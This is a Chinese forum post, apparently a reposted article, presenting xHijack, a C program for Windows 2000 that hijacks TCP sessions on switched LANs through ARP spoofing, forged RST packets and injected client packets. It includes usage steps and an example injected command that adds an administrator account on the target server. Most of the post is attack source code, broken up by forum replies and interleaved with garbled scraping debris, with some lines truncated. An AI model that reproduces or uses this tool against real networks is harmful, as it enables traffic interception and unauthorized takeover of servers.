再谈交换环境下的会话劫持(For windows2000)

韩冰

第一步是开启IP Routing的功能，修改注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1，重启系统即可。
第二步是ARP欺骗，具体原理我就不说了。
* }: x/ O! @2 }第三步就是开始劫持啦。

我写了个程序xHijack可以实现第二、三步功能，使用如下:

Usage: xHijack ServerSide ClientSide
. {& Q0 m5 t" C% g, v0 h: x' I
, e: r. e6 r5 a5 P+ F0 }+ m下面根据三种不同的情况分别说明如何输入参数：
<1>服务器、客户端、劫持者处于同一局域网，接在同一交换机上（或交换机级连？）。
# Q* W) w% \3 L+ @2 h) c: N9 c假如服务器的IP是192.168.0.2，客户端的IP是192.168.0.3，提供如下参数给xHijack即可
c:\>xHijack 192.168.0.2 192.168.0.3
劫持前数据流程：server <--> client
% J- O8 }% D& D1 a劫持后数据流程：server <--> hijacker <--> client

<2>服务器、劫持者处于同一局域网，客户端处于别的网络。
$ Q! U1 c! R( S" V# r* \) M假如服务器IP是202.202.202.2，服务器的网关是202.202.202.1，提供如下参数
7 ?: i& s7 ]1 `# oxHijack 202.202.202.2 202.202.202.1
劫持前数据流程：server <--> gw <--> routes <--> client
! a& D% n) F' r+ `+ K, ^4 L劫持后数据流程：server <--> hijacker <--> gw <--> routes <--> client
# c8 G( O& M9 V/ c$ z' k
<3>客户端、劫持者处于同一局域网，服务器处于别的网络。
假如客户端的IP是192.168.0.2，网关是192.168.0.1，提供如下参数
xHijack 192.168.0.1 192.168.0.2
, t2 M9 i, B# P劫持前数据流程：client <--> gw <--> routes <--> server
劫持后数据流程：client <--> hijacker <--> gw <--> routes <--> server

$ S6 ]$ t8 i6 l$ J. h9 h输入两个参数后，会提示你选择网卡，然后会提示
l        <-- List all connections
r x       <-- Reset the number x connection
7 |7 c3 }& g, R( [7 Gw x       <-- Watch the number x connection
h x command   <-- Hijack the number x connection to execute command

/ v9 H4 n( `! klist、reset、watch命令我就不解释了。
假如现在有如下连接
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
' D. |% i0 K: D1 b  |5 ?我们想要劫持这个连接运行我们的命令，输入
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
为什么命令前面要加&呢？假如客户刚发送一个字符p过去，我们不加&的话，服务器端接受到的就是
pnet user.....了，加了&后就成为p&net user.....，这样就不管前面客户输入了什么，我们的命令
都能够运行了。以上都假设服务器是windows 2000，unix下加什么字符，我不知道，我是unix白痴，呵呵。

劫持的流程如下：
" Y, `7 a- a) [/ |9 z1 W- e& ?<1>伪装成Server给Client发一个rst包
<2>伪装成Client给Server发了一个数据包
<3>Server回一个ACK包给client
<4>因为Cleint的连接已经给我们reset掉了，所以client回一个rst包给server
) M! Z# ?; `/ w' c, h$ c
: J, X4 |8 w, C- Q: x( ^这样的话，我们只能发一个伪造的包，但我想已经足够了。
想要一直劫持那个连接也可以，如下
, |9 Y3 A! B  ]- e! J# H, t<1>伪装成Server给Client发一个rst包
+ A5 |, g, v( d. R<2>欺骗Client，告诉它Server的MAC地址AAAAAAAAAAAA
<3>伪装成Client给Server发了一个数据包
<4>Server回一个ACK包给client
<5>Client回一个rst包给Server，但Server收不到，因为Client发到AAAAAAAAAAAA了，呵呵。
+ c8 ~7 v# G$ V1 z% }  ^<6>然后Server发给Client的包都由我们来处理，包括给Server回ACK包等等。

" @: D- H" P6 P, C/ k不过这样比较危险，在我们劫持的过程中，Client与Server的通讯始终是断开的。


刚开始看TCP/IP协议，调程序调得头昏脑涨，说明也写的乱七八糟，呵呵，程序代码也可能存在很多问题，
还请各位多多指点。

BTW:我没有空间，编译好的程序没地方放：（



/ y6 D4 O- [; U( ^5 J参考资料
<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
8 G9 U1 e# e+ g) t5 Q: f4 B5 W<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
- E0 w! F9 E% s$ \  |

以下是程序代码
----------------------------------------------------------------------
/*-----------------------------------------------------------------------------
. M9 d1 ?  g6 h- VFile      : xHijack.c
, }) ^9 l0 G4 l! V, o9 J5 l/ gVersion      : 1.0
Create at    : 2002/8/12
Last modifed at  : 2002/8/19
! x; J+ P1 L( A2 r$ bAuthor      : eyas
( `/ T- ~$ q3 L9 e+ D% Z( r3 E4 _Email      : ey4s@21cn.com
" }7 f# A8 ]. A- H3 ^HomePage    : www.ey4s.org
感谢refdom和shotgun发布的源代码，使我获益非浅。
If you modify the code, or add more functions, please email me a copy.

4 h* G2 Y( ?! h+ A备注:
<>没有考虑IP头、TCP头超过20字节的情况
<>没有考虑数据包分片的情况
<>没有对截取到的TCP数据进行解码，如TELNET，虽然是明文传输，但是TCP数据里面包含了
! L+ V$ R! }$ J5 Q! B显示格式、位置等信息，直接打印出来，显得很凌乱。但如果是IRC、SMTP、POP3等就没问
题了。

也许下一版本会修正这些问题，也许不会有下一版本了。
5 h3 N' _; l  \# @1 P& e
& k* u3 X0 x4 C0 n& J# `/ W2 }-----------------------------------------------------------------------------*/
#include
#include
#include
#include
#include
7 H/ z  x' U3 m+ B- |; [4 [8 y#include
#include
. e! n; H$ [+ V/ x$ r4 w
% l' L' d* n  l$ p#pragma comment (lib, "packet")
0 ]1 t% [( Y; z$ q/ P#pragma comment (lib, "iphlpapi")
#pragma comment (lib, "ws2_32")
' J' {: h/ s( V7 U5 p
#define Max_Num_Adapter 10
8 K5 H3 J  R. o: O8 d#define Max_Num_IPAddr  5
#define EPT_IP      0x0800      /* type: IP  */
3 }5 \# K  r6 e  m- a% Q% P# p#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
9 x6 Z+ v' G4 A% }0 U" P#define EPT_ARP      0x0806      /* type: ARP */
- \7 f, f! F, o  H- R4 V" S* Y4 ]
- \" f1 j: ?' s" d6 V  z#define  ACTION_NONE    0
#define  ACTION_WATCH  1
' e) p! }# X4 r0 |0 m#define  ACTION_RESET  2
#define ACTION_HIJACK  3

! k1 y( {8 J2 Y3 _+ ^/*以1字节对齐*/
; q( m  e8 W* h; v#pragma pack(1)
, f6 r0 F3 P5 ^: i5 k& D( @" Btypedef struct _ehhdr
{
  i' Q' e% E# S( j# f! b" q+ O7 V* Y  unsigned char  DestMAC[6];
  unsigned char  SourceMAC[6];
# i: q4 ~% X) b0 y  unsigned short  EthernetType;
}EHHDR, *PEHHDR;
" d" {: x) x$ c4 J5 a( B  v. {
8 g1 U( S8 r$ S5 C6 o% O" Ptypedef struct _iphdr        //定义IP首部
{
  unsigned char h_verlen;      //4位首部长度,4位IP版本号
  unsigned char tos;        //8位服务类型TOS
  unsigned short total_len;    //16位总长度（字节）
: f8 R: w" y  z0 e  unsigned short ident;      //16位标识
$ s0 f6 q$ z1 A5 F& q2 L  unsigned short frag_and_flags;  //3位标志位
  unsigned char ttl;        //8位生存时间 TTL
  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
  unsigned short checksum;    //16位IP首部校验和
  unsigned int sourceIP;      //32位源IP地址
9 ]# w4 _& ^8 \- u  unsigned int destIP;      //32位目的IP地址
}IPHDR, *PIPHDR;

typedef struct _tcphdr        //定义TCP首部
: h, g. M& X1 r2 P2 w6 g5 N, `8 i  ^{
' g9 d$ o% c' [% H2 u# m  USHORT th_sport;        //16位源端口
( I% D, J( K. J& c' e# k  USHORT th_dport;        //16位目的端口
; ?9 u5 y& f& p+ r" I  unsigned int th_seq;      //32位序列号
  unsigned int th_ack;      //32位确认号
. g! I8 z6 I9 v* V& U- E  unsigned char th_lenres;    //4位首部长度/6位保留字
1 f) o% k0 B' e- C' S0 K+ q7 K  unsigned char th_flag;      //6位标志位
- [$ w& L: A6 U. F  USHORT th_win;          //16位窗口大小
; r" G/ N* ~3 M/ g# \. O  USHORT th_sum;          //16位校验和
  USHORT th_urp;          //16位紧急数据偏移量
5 }# _% R3 Q/ z/ O  H2 _}TCPHDR, *PTCPHDR;
, l3 E4 Y  q7 f
0 v& C! Q. P8 h# j6 h4 v; B, P7 _typedef struct _psdhdr        //定义TCP pseudo header
{               
  unsigned long saddr;
  unsigned long daddr;
9 o& H0 t) I! r. z- ]3 S/ h# y3 ^  char mbz;
  char ptcl;
# B) h* ~. f* y  unsigned short tcpl;
}PSDHDR, *PPSDHDR;

typedef struct _arphdr
{
& r( d- G$ d  O2 j& C  unsigned short  HrdType;//硬件类型
  unsigned short  ProType;//协议类型
1 K6 J8 H$ v% w- ~: a1 h' h  unsigned char  HrdAddrlen;//硬件地址长度
" V$ k, d% G" z0 L' {9 n7 }  unsigned char  ProAddrLen;//协议地址长度
  unsigned short  op;//operation
% i/ A! `+ ~% P5 T; I! s, L  unsigned char  SourceMAC[6];/* sender hardware address */
  unsigned long  SourceIP;/* sender protocol address */
7 ~, K( `. `: b* a  unsigned char  DestMAC[6];/* target hardware address */
# R  d$ l1 e" ?, E- j8 i: E  unsigned long  DestIP;/* target protocol address */
' C' O% C8 o+ M* E/ r$ ^}ARPHDR, *PARPHDR;
) @7 T) I4 u# Y' [
* N& E6 x: x9 r3 l, itypedef struct _ArpPacket
{
2 N! w7 a5 L% [" w6 x' F  EHHDR  ehhdr;
  ARPHDR  arphdr;
}ARPPACKET, *PARPPACKET;

5 N: I0 Y, Q% V$ Stypedef struct _tcppacket
- H0 z9 p; X* ~; ]& d% w& B{
  EHHDR  ehhdr;
  IPHDR  iphdr;
  TCPHDR  tcphdr;
. Q6 I% J; U+ R1 |( N; T}TCPPACKET, *PTCPPACKET;
5 m" M! g: |7 h+ O
- Z, _# I" l( D+ Y- C$ d- ^typedef struct _conninfo
( O6 ^$ j* C: c" ]0 z& ?4 S{
  DWORD  dwServerIP;
  USHORT  uServerPort;
# F; X' l9 Y4 N& _, l  DWORD  dwClientIP;
  USHORT  uClientPort;
9 ^( T: r3 D3 F* d- c  DWORD  ident;//标识
  BOOL  bActive;
  struct  _conninfo  *Next;
}CONNINFO, *PCONNINFO;

5 @# N/ c6 Y4 x7 S//定义全局变量

wy617958197

大侠好厉害啊

韩冰

__finally
  {
  i3 _/ i9 [1 Q' {5 O* e    if(pHiJackPacket) free(pHiJackPacket);
2 D  \" x$ x* L# U& k4 x  }
  return bRet;
* e/ n: q! l. l* X" i}
1 @' E3 P# ?) a2 X

//
5 `7 p* L! l* z//功能：伪装成Server给Client发送rst包
' y* G7 V0 B- K1 v( U//
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
& t0 x' O6 \  n{
6 a5 w5 V( P& @  char    szBuff[60];
  PSDHDR    psdhdr;
  PTCPPACKET  pTcpPacket = NULL;
, K, ?/ `4 E9 f5 ~9 n  BOOL    bRet = FALSE;

3 H3 `3 Q" f* J" @  __try
  {
% a3 U% A! E' Z2 ?! m    //检查当前指向想控制的连接的信息的指针是否为空
; g/ ~6 F! L4 e, @2 h" _9 z    if(!g_pCurrCtrlConn) __leave;
9 }3 j- c- g, T. N: R2 |& O7 U9 k    //allocate memory for rst packet
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
0 j9 e8 k5 G  O3 a    if(!pTcpPacket)
; g: M" S/ b+ g5 ]. ~; v. H2 u    {
      printf("malloc error:%d\n", GetLastError());
/ p& r4 e- ~! }9 a+ ~; O* S7 z      __leave;
5 `) Q% Z7 n/ s% C, c8 `0 N    }
    //fill ethernet head
    memcpy(pTcpPacket->ehhdr.DestMAC, g_szClientSideMAC, 6);
    memcpy(pTcpPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
# ^, ~3 q( _3 @! e( R3 |    pTcpPacket->ehhdr.EthernetType = htons(EPT_IP);
. m+ O  H% x/ H5 a    //fil ip head
    pTcpPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
    pTcpPacket->iphdr.tos = 0;
    pTcpPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
! H" F& u8 w6 q. T. Q9 T    pTcpPacket->iphdr.ident = 1;
    pTcpPacket->iphdr.frag_and_flags = 0;
9 ?2 D% Y- @4 m: t9 d    pTcpPacket->iphdr.ttl = 128;
8 ^4 e( x$ G" |* F5 n# A    pTcpPacket->iphdr.proto = IPPROTO_TCP;
, g7 Y' o6 ]0 h8 E8 V    pTcpPacket->iphdr.checksum = 0;
3 _% J. u: l5 a- a& Q    pTcpPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwServerIP;//源IP地址，伪装成服务器的
    pTcpPacket->iphdr.destIP = g_pCurrCtrlConn->dwClientIP;//接收此rst包的ip地址
$ ?, N# f5 f5 M0 i. l( ^; H    //fill tcp head
7 l$ Y6 J3 @; I9 P, B" m% i    pTcpPacket->tcphdr.th_sport = g_pCurrCtrlConn->uServerPort;//源端口号，伪装成服务器的端口
0 W( G0 \5 Y% M7 A    pTcpPacket->tcphdr.th_dport = g_pCurrCtrlConn->uClientPort;//接收此rst包的端口
( c1 z. e2 t! J: ^$ G. l' o    pTcpPacket->tcphdr.th_seq = seq;//SYN
    pTcpPacket->tcphdr.th_ack = ack;//ACK
    pTcpPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4<<4|0);
    pTcpPacket->tcphdr.th_flag = 4;//RST flag
9 Q# t6 L" ]% P) a8 h" X9 W  o' ]# p    pTcpPacket->tcphdr.th_win = 0;
    pTcpPacket->tcphdr.th_urp = 0;
    pTcpPacket->tcphdr.th_sum = 0;
    //fill tcp psd head
: A) f4 y" b- \3 B; j    psdhdr.saddr = pTcpPacket->iphdr.sourceIP;           
0 w# }9 t' j. A5 {5 l# f( k) @    psdhdr.daddr = pTcpPacket->iphdr.destIP;           
    psdhdr.mbz = 0;
5 f$ d) [" K* J' y    psdhdr.ptcl = IPPROTO_TCP;
    psdhdr.tcpl = htons(sizeof(TCPHDR));
0 V" a9 h: H2 |' b$ s, q7 p& `    //calculate tcp checksum     
0 d8 m. f9 m3 v4 f  R7 M    memcpy(szBuff, &psdhdr, sizeof(PSDHDR));   
4 G) W2 W. j6 e3 F; ]    memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR));
    pTcpPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
" E8 `1 h5 O0 I) }4 f# A. g4 K    //calculate IP checksum
) a# j* Q) v8 A    pTcpPacket->iphdr.checksum = checksum((USHORT *)&pTcpPacket->iphdr, sizeof(IPHDR));
7 W7 L- `+ i8 j2 V: \    //fill send buffer
8 G2 y5 d5 W8 y7 [( e! h    memset(g_lpSendPacket->Buffer, 0, 1514);
$ ~6 ~- w7 ~1 t- m: `    memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
    {
      printf("Error sending the rst packets!\n");
% n1 v; M2 H* [6 ?- E6 c      __leave;
    }
  t) y* O0 D, n8 H6 L$ Y- f    else printf("Send RST packet ok!\n");
7 Y) {" p, a& c0 j2 m+ i    bRet = TRUE;
, W  b; Y# a, Z6 E& o6 M4 B8 L  }
  __finally
4 m! {2 Y& W- {  {
* r8 q- H" Q( V$ f7 |' t; A& l2 e    if(pTcpPacket) free(pTcpPacket);
5 t/ f7 c6 Q& }- d0 n  }
  return bRet;
}

5 r* C- e, s3 C5 k) D/ r//
* A% B: N1 w' I//功能：计算校验和
/ b: ^" _& X1 O1 {//
0 ~' M1 S! G2 J! ]2 [USHORT checksum(USHORT *buffer, int size)
. w# o5 y8 Y5 N% w6 \{
unsigned long cksum=0;
while(size >1) {
$ m2 `' `! ?+ @/ _0 [( L6 j  cksum+=*buffer++;
$ ?5 {' O0 S; S( ?' E  size -=sizeof(USHORT);
6 z2 D: w) ]( p+ p; F0 u }
if(size ) {
6 {- X6 }" E, \' c  cksum += *(UCHAR*)buffer;
" c5 o' C( u9 I- p$ G. G }
" [% E6 _$ a  |" A7 w cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
+ o6 `7 E4 l* m/ ~' g5 ]
6 o- r* A0 R- x: j//
. W& o* o% Z6 A" m//功能:实施ARP欺骗
$ Y# X! Q8 u. I' e' G//1 告诉ServerSide,ClientSide的mac是ownmac
' I8 i, @: ~0 M) `  Y//2 告诉ClientSide,ServerSide的mac是ownmac
//
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
! }  m( F. S$ V  w, @9 j, [{
  int  iType = *(int *)lpType;
  ARPPACKET  ArpPacket;
  LPPACKET  lpArpPacket;
  char    szArpBuff[60];

  switch(iType)
7 D7 I7 G/ [$ J' l' O  {
2 h, W' q; I3 H$ J' v    case 1:
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
      ArpPacket.arphdr.DestIP = g_ServerSideIP;
      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
5 p1 ~; J( M4 j  G7 \* x      break;
8 }( I, h/ u1 b( E- G. z    case 2:
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
$ P( n8 C. h& O' _  m      ArpPacket.arphdr.DestIP = g_ClientSideIP;
      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
& z9 ]9 P" s4 Q* X      break;
2 u& Z7 T( d' p$ M    default:
+ D, s2 p/ q# n9 e4 X) F. u/ i* z      return 0;
  }
  //ethernet head
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
7 L& o* b, G# P2 i) ], Z  //arp head
. r; R6 y" w  X/ i  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
* I9 R% q5 Z2 @# s  `  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
* L; F9 q+ G, M. u1 K0 b  ArpPacket.arphdr.HrdAddrlen = 6;
  ArpPacket.arphdr.ProAddrLen = 4;
7 f- N- F* V: [" m' N  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
  ArpPacket.arphdr.ProType = htons(EPT_IP);
  ArpPacket.arphdr.op = htons(2);//arp reply
  O0 P/ H. y: E, ^3 |
- h3 K1 ~  \7 f9 V7 `  ?  lpArpPacket = PacketAllocatePacket();
  if(lpArpPacket == NULL)
7 Z( @' m3 n( ]% S' V* V! X  {
" y& v! q* i' l$ I# w' ^1 o    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
    return 0;
$ M5 x( }" x  o2 S) p% Q' g  }
  memset(szArpBuff, 0, sizeof(szArpBuff));
% Z  v6 W$ Q0 |3 R! \  memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET));
  PacketInitPacket(lpArpPacket, szArpBuff, 60);
1 }9 D0 l4 v- X4 u  //send arp packet
  while(1)
  {
    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
$ C2 s8 ?$ r6 m! N: D    {
( ]% ]* q' c" a0 C; M% F9 ~4 t5 y      printf("Error sending the arp spoof packets!\n");
      return 0;
    }
# q' z) E+ |  L    Sleep(1000);
* {# H# T+ b* M$ T% k( [5 h1 L/ ?4 `  }
  return 0;
$ E* ^1 d2 T3 d1 C- K9 V}

; C8 J  s9 m; Z//
//功能：输入IP取得对应的MAC地址
+ X/ i8 Y3 A) }. R$ h) g//
BOOL GetMACAddr(DWORD DestIP, char *pMAC)
* H; z) z' @3 t7 Q0 v) c* v{
8 G4 N2 w+ V- x+ H5 L0 L- f  DWORD  dwRet;
  ULONG  ulLen = 6, pulMac[2];
, Q3 T! K! F6 P6 [  dwRet = SendARP(DestIP, 0, pulMac, &ulLen);
  if(dwRet == NO_ERROR)
  {
    memcpy(pMAC, pulMac, 6);
    return TRUE;
  }
8 a6 U6 }  |& Q: [) L; c/ _  else return FALSE;
}

韩冰

pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE);
: `$ b* M% Y6 }" B4 B# C9 f            //reset action flag
) y% b/ ?# V* n            ResetActionAllFlag();
          }
% k. M4 J) i9 J/ N& c          //start hijack
          else if(g_dwAction == ACTION_HIJACK)
; d* F8 P5 f4 a1 b3 C/ x! e7 h          {
            //send rst packet to client
+ @' D  i, d, ]8 P$ d( o            SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
! i/ ~9 k# g! \% i            //send hijack packet to client
! l6 s" T: j8 o2 Q) ^& K            SendHiJackPacket(pTCPPacket);
1 @  B9 H% U: R, e1 B1 r$ G% @; a            //reset action flag
' D3 Q- L, ^5 _7 A( J            ResetActionAllFlag();
          }
        }
        //show the tcp data
4 W. y9 A9 S: O2 W# j3 Q        if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
2 S$ ~/ [- }# B5 ~9 t: }) }        {
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
          //暂不考虑IP、TCP头不是20字节的情况
# C- j1 p! W* y+ H* a0 ^1 {  u, l          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
6 C3 f& b7 a0 X% o2 Z" J/ h          pStr = (char *)pTCPPacket + 54;
/ A0 G+ c5 k  q4 ^8 {          for(i=0; i        }
      }
      //debug output
. P. b! |4 K' ]5 ?      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
    }//end of analyse packets while
  }//end of recv packets while
  PacketFreePacket(lpRecvPacket);
  return 0;
  y$ W+ n3 C& `/ m, z4 F}
/ j+ ?. ^/ d( i/ d; G8 ~

//
3 o$ o8 K. M7 g//功能：操作记录所有连接信息的单向链表
//
) l8 L( v- u0 T) wDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
9 w. I2 P5 y+ C7 V; f. O5 l! e            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
* ^- L, O; g% T7 }) E{
# M. J& f+ J5 t  PCONNINFO  pNew, pTmp;

" ^  c5 c0 A. y1 h  pTmp = g_pConnHead;
  while(pTmp)
  {
7 l/ U: b; y# i* Y+ _3 V# V    if(pTmp->bActive)
# S% ]# h/ c+ B& I( R2 @0 Z    {
3 L% p$ W' K! t0 ]0 K2 x! z1 |      //found it
! ~8 P/ R2 Z* n, d3 U/ v# x      if( (pTmp->dwServerIP == dwServerIP) &&
        (pTmp->uServerPort == uServerPort) &&
        (pTmp->dwClientIP == dwClientIP) &&
, S% H8 W* ^. y        (pTmp->uClientPort == uClientPort) )
# ~% h1 z* Y  J% q* {      {
        if(bDelete)
* c2 J8 t/ O* H" H1 d# o  I8 Y        {
  H. f2 A3 Y- o/ E6 x( E  {8 \          pTmp->bActive = FALSE;
          return 0;
9 U1 b/ h. f% i% y$ d/ \        }
0 l, p% o! i6 d" w        else return pTmp->ident;
% p/ c; Y* z2 t6 [9 x2 |5 w; t      }
4 E& V6 u5 S& d1 S    }
    pTmp = pTmp->Next;
0 E6 M9 }( V" v( S4 `( I' g2 U  }
5 x/ h- M8 O- {8 N) Y7 H( F  J, x  //not found, create new node
  q! a5 X3 w- e7 r0 u* |! }  if( (!pTmp) && (!bDelete) && (bAddNew) )
* X( q$ E* O3 I, m" X  {
    //search unactive note
1 y" k% l' t  F# ^- i  }/ `6 M    pTmp = g_pConnHead;
    while(pTmp)
    {
      if(!pTmp->bActive) break;
1 o9 u; j, W6 ?, u' J' l  J      pTmp = pTmp->Next;
+ O6 I7 H3 v' {- |3 m    }
    //found a unactive node
+ I) A3 _6 _2 V- {) P1 E    if(pTmp)
. v9 {& C$ o1 v6 \% K0 k' _3 b$ \: K    {
      pTmp->dwServerIP = dwServerIP;
      pTmp->uServerPort = uServerPort;
      pTmp->dwClientIP = dwClientIP;
      pTmp->uClientPort = uClientPort;
      pTmp->bActive = TRUE;
      return pTmp->ident;
    }
    //not found,create new node
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
1 z: ?; [1 @; c    if(!pNew)
; v2 j3 x% ~5 h: n1 t$ p    {
      printf("malloc for link node error:%d\n", GetLastError());
+ \& U& \% m) k      return 0;
    }
) U* i% G, z$ d2 i) s1 }2 ^    //fill the struct
    pNew->bActive = TRUE;
    pNew->dwServerIP = dwServerIP;
, d: H; v$ J6 D# D2 H  ?    pNew->uServerPort = uServerPort;
. C) o6 S; j& C" W! c* w    pNew->dwClientIP = dwClientIP;
    pNew->uClientPort = uClientPort;
, g' A; A, k9 B, K  A9 z1 |( n    pNew->ident = ++g_ident;
    pNew->Next = NULL;
8 t& H8 V( ^7 v0 r    //add new node to link
    if(!g_pConnHead)
, ?8 k' D9 w4 x3 [      g_pConnHead = g_pConnLast = pNew;
    else
    {
* r. F; u: z! l1 t      g_pConnLast->Next = pNew;
      g_pConnLast = pNew;
1 r9 C4 N& M4 W/ n    }
    return pNew->ident;
& T, L* ^  F1 j  }
( @0 h6 V. X- x, b  return 0;
}

) G5 u( b; a( H; o9 W//
+ F! P/ `9 |7 C  m//功能：判断一个数据包是不是只有ACK标志
  X' D/ K0 f, p. V6 R0 f# d; r3 }) f//
& w; f0 O5 k1 B  v. pBOOL IsACKPacket(unsigned char flag)
; q% M! `: m% a/ n% |! J* {{
) p/ V7 M# X, V* N- G+ Y% N  int  i, j=1;
: x* S, [2 O0 k  for(i=0 ; i<4; i++)
/ J: P& o, A+ C) U  {
    if(flag & j) return FALSE;
4 o* x1 r4 [6 s+ X5 W5 ?    j <<= 1;
& `% ^6 v* s# D/ ^8 g  y8 P0 L  }
  if(!(flag & 0x10)) return FALSE;//is ack?
6 \) [- ]4 @% C( ^/ n  if(flag & 0x20) return FALSE;
- n$ s1 A& A- a( D  return TRUE;
+ D5 r7 X$ y$ }& d9 }( j9 l}
3 L9 U: p# j; H4 s7 ]( e: X4 t1 u
# d% D' z( j! [" v$ S) L: n//
4 U/ n+ A  v6 b//功能：伪装成Client给Server发送数据包
6 r) M- I- K8 j; h! @9 r/ V, o//
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
' r6 h6 W% f1 R" A{

  char    szBuff[1520];
  PSDHDR    psdhdr;
: m. C5 R& _4 [& V' j, V  PTCPPACKET  pHiJackPacket = NULL;
  BOOL    bRet = FALSE;
. f( j% F) o6 G& \1 }  O3 e5 F
  __try
  {
    //
; X5 Q1 M) j. a5 o$ e    if(!g_pCurrCtrlConn) __leave;
9 P+ f" A! u% P0 U9 O2 Z0 S    //allocate memory for hijack packet
: i* X5 K) ?/ a. ?9 K9 [    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
# H" m, b) Q: p/ K, z    if(!pHiJackPacket)
& x0 G1 n- h0 v% {; H; c0 `3 B3 U    {
0 i& e0 g+ l2 W      printf("malloc error:%d\n", GetLastError());
      __leave;
' p1 D4 C, [! ?8 k  o: a    }
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
" Q# d$ @5 k2 R! G3 Q! T    //-------------- modify the packet ---------------//
3 Q( ?. N& j& w( Z2 a+ @4 b    //modify ethernet head
    memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
    memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
3 X) ~* L, `* o% B4 p6 y, a    //modify ip head
# u' |% O; G: N7 z5 E, d    pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
. J! B! H; Z: J1 n% q. ?7 K& J: P    pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
    pHiJackPacket->iphdr.ident += 1;//标识加1
6 S0 m+ ?  I& F0 I* [    pHiJackPacket->iphdr.checksum = 0;
    pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址，伪装成client
, ?# M. P- [7 q; l7 v2 h8 \% m2 g/ M    pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址，接收hijack包的地址
  M3 ~/ r* G0 Q  W$ `) }    //modify tcp head
    pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port
    pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port
    pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0);
    pHiJackPacket->tcphdr.th_flag = 0x18;// PA
    pHiJackPacket->tcphdr.th_sum = 0;
    pHiJackPacket->tcphdr.th_win = 0x3F44;
    //fill tcp psd head
    psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;           
    psdhdr.daddr = pHiJackPacket->iphdr.destIP;           
    psdhdr.mbz = 0;
    psdhdr.ptcl = IPPROTO_TCP;
    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
    //calculate tcp checksum     
( `2 p5 z4 q% p& O    memcpy(szBuff, &psdhdr, sizeof(PSDHDR));   
) M- V8 L4 A$ B% m. e    memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR));
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
" ?2 ]7 P( t' j4 P4 {0 F    pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
0 W8 Y) b4 U: }9 f9 `    //calculate IP checksum
9 Y! T% T: M2 U. W: ]    pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR));
    //fill send buffer           
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
